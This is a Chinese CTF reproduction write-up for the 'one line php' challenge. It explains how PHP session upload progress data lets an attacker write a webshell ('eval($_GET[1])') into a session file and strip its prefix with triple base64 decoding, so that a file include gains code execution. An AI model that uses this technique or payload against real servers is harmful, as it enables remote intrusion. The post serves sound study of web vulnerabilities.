one line php个人复现遇到的一些坑

最近准备面试,把之前遇到的一些有意思的题目再复现一遍,这道题我之前一直是云复现,但是当我实际复现的时候还是遇到了一些其他大师傅博客里没提到的坑,总之记录一下

题目只给了一行php代码

1
<?php ([email protected]$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

题目描述:P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

首先需要了解session上传进度

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得

可以发现value的值可以控制而且写入到了session文件里面,这就是导致漏洞利用的原因。

举个例子

上传表单

1
2
3
4
5
6
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

在session中存放的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);

session中存储上传进度的键值是:

1
`ini_get``(``'session.upload_progress.prefix'``).``$_POST``[``ini_get``[``'session.upload_progress.name'``]];`

其中$_POST[ini_get['session.upload_progress.name']];是一个我们可控的值,如果把它控制成一个shell的内容,然后包含session就可以getshell了

1
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="<?php eval($_GET[1]); ?>" />

php默认配置说明:

默认开启session.upload_progress.enabled and session.upload_progress.cleanup

而这道题中利用到了一个特性, 只要发的POST请求中只要包含ini_get("session.upload_progress.name")这个键值,并带上session_id,同时进行文件上传,就会直接创建一个session文件

第二步就是利用base64_decode的容错性去掉upload_progress_

所以最后控制SESSION的key值为:

1
`"upload_progress_ZZ"``.``base64_encode``(``base64_encode``(``base64_encode``(``'@`)));`

然后进行三次的base_64decode,就会去掉upload_progress_,只剩下@< ?php eval($_GET[1]);

不知道是不是版本问题,7.23复现的时候需要精准控制,包括后边的那些数据,只有都能解的时候才不会报错,这里其他师傅们都没有提到

0%